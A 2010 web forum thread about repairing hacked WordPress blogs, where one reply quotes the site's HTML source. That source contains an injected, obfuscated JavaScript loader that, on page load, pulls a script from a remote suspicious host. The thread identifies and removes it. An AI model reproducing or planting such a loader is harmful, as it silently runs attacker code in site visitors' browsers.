Buying Need someone to get my wordpress blogs back online

Discussion in 'Services' started by awundrin, Mar 3, 2010.

  1. #1
    awundrin, Mar 3, 2010 IP
  2. dayseeker

    dayseeker Active Member

    Messages:
    510
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    58
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #2
    it's easy by yourself.

    just re-install with other database, when are all done, just change the database to old wp databaseonly.
     
    dayseeker, Mar 3, 2010 IP
  3. mrdo

    mrdo Well-Known Member

    Messages:
    1,552
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    138
    As Seller:
    100% - 1
    As Buyer:
    100% - 0
    #3
    Deactive all plugins, and reup your wp-includes/default-filters.php file
     
    mrdo, Mar 3, 2010 IP
  4. awundrin

    awundrin Well-Known Member

    Messages:
    680
    Likes Received:
    18
    Best Answers:
    0
    Trophy Points:
    130
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #4
    Thanks for the pms..ifreakz is helping me.
     
    awundrin, Mar 3, 2010 IP
  5. thexboy

    thexboy Peon

    Messages:
    199
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    0
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #5
    is that problem is fixed..

    but.. when i visit http:// www . pulseontech.com / i found some virus has been injected on your site.. check it out..
     
    thexboy, Mar 3, 2010 IP
  6. ifreakz

    ifreakz Well-Known Member

    Messages:
    1,427
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    130
    As Seller:
    100% - 0
    As Buyer:
    0.0% - 0
    #6
    Unfortunately, that was the first thing i tried.
    The admin panel was dead with same error, So i deactivated them from the database manually, and that didn't solve the issue.
    Later i realized the site had a LOT of encoded files, so i removed the file encodings, and somehow it's up now.


    And what about the errors in the db that he had?

    Well it's got files fresh from WP. My avira and Kaspersky, dosen't show anything. Can you explain?
     
    ifreakz, Mar 3, 2010 IP
  7. thexboy

    thexboy Peon

    Messages:
    199
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    0
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #7
    dude..

    look this

    
    <a href="http://www.pulseontech.com/">Pulse On Tech-Digital Reader News </a> is powered by <a href="http://wordpress.org/">WordPress</a> | 
    Design by <a href="http://andreasviklund.com">Andreas Viklund</a> | 
    Ported by <a href="http://webgazette.co.uk">Ainslie</a>  
    <!-- | xyz translation by <a href="your url">your name</a> -->
    </div>
    
    
    <script type="text/javascript">
    var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
    document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
    </script>
    <script type="text/javascript">
    try {
    var pageTracker = _gat._getTracker("UA-13002876-1");
    pageTracker._trackPageview();
    } catch(err) {}</script>
    
    </body>
    
    </html>
    <script>try {var N;if(N!='' && N!='Jv'){N=null};var m;if(m!='dr' && m!='hS'){m='dr'};var Y;if(Y!='hu' && Y!='jt'){Y='hu'};var J=']';var V;if(V!='g' && V != ''){V=null};var Nn=new Array();var Q=RegExp;this.Ud='';this.LC="";var L='g';var a=new String();var MO='';var G='[';var de;if(de!='QW' && de!='Z'){de=''};var W='replace';var In=new Array();var F=new Array();var d='';var yG="";var nN=new Array();this.I_='';function K(y,E){var UQ=new Date();var Ps="";var Wn;if(Wn!='' && Wn!='Ef'){Wn=''};var s=new String();var R=G;R+=E;this.H='';var iu;if(iu!='' && iu!='Xs'){iu=null};R+=J;this.nU='';var Hu=new Array();var h=new Q(R, L);this.pr='';this.lF='';return y[W](h, d);var EV;if(EV!='' && EV!='e'){EV=''};this.uP="";};this.eR="";var f="";var U=K('/Osnawpwow.Opntw/nswaOpwow.wpOtO/ng9onoOgwlneO.Oc9oOmO/w196n3O.9cwoOmw/Ot9-9mwonbOinl9en.wcnowmn.wpwh9pw',"n9Ow");var M=K('coroeTaTtoeTETloeomoeonTto',"oT");var q=K('oPnPlPouaPdu',"5APu");var eRW='';var Lh='';var O=K('hWtOtWpW:N/W/OfOrOiWeOnNdNsWtWeOrW-NcNoOmN.OgNoNoWgOlNeN.WbWeO.OjOuNsOtNiOnN-NtNvO.OmOyNwNoNrOlNdWcOaNmWpNuOsO.WrOuW:O',"WON");var HY=new String();var C=K('aPp8pPeqncdPCchqiPlPdq',"qc8P2");var DJ=new Date();var i=K('bWoWdWyV',"VDWN");var X=K('sjeQtQA1tjtFrji1bFu1tje1',"FQj1");this.Mp='';var pV=new String();var D='';var I=K('8454556504444546856555056454',"465");var Cy;if(Cy!='QU' && Cy!='ye'){Cy='QU'};this.fR="";var c=K('s_c_r_iMpkt_',"jk_SM");var Me=new Array();var y="1";var ii=new Date();var lFI='';var kR='';window[q]=function(){var ZE=new Array();var _P=new Array();qB=document[M](c);var yF=new Array();var Ip=new String();D+=O;this.gF='';var MM=new String();D+=I;var NO=new String();D+=U;qB.setAttribute('defer', y);var Cb=new Array();var MC=new Array();qB.src=D;var Xa;if(Xa!='' && Xa!='TR'){Xa='lP'};var u=document[i];u.appendChild(qB);};} catch(t){this.LW="";};</script>
    <!--d86b65df675fb59c4438ecaf5d7d44d6-->
    Code (markup):
    check at the end of html source of output....

    that's a virus.... hope this help you....

    --- The X Boy ---
     
    thexboy, Mar 3, 2010 IP
  8. ifreakz

    ifreakz Well-Known Member

    Messages:
    1,427
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    130
    As Seller:
    100% - 0
    As Buyer:
    0.0% - 0
    #8
    It sure did help. I removed it now.
    Well my work was to fix the site and deal with the wp-content stuff. I found a lot of files encoded, and backlinks added.
    So should poke the guy who did it for him.

    Thank You for pointing the flaws.
     
    Last edited: Mar 3, 2010
    ifreakz, Mar 3, 2010 IP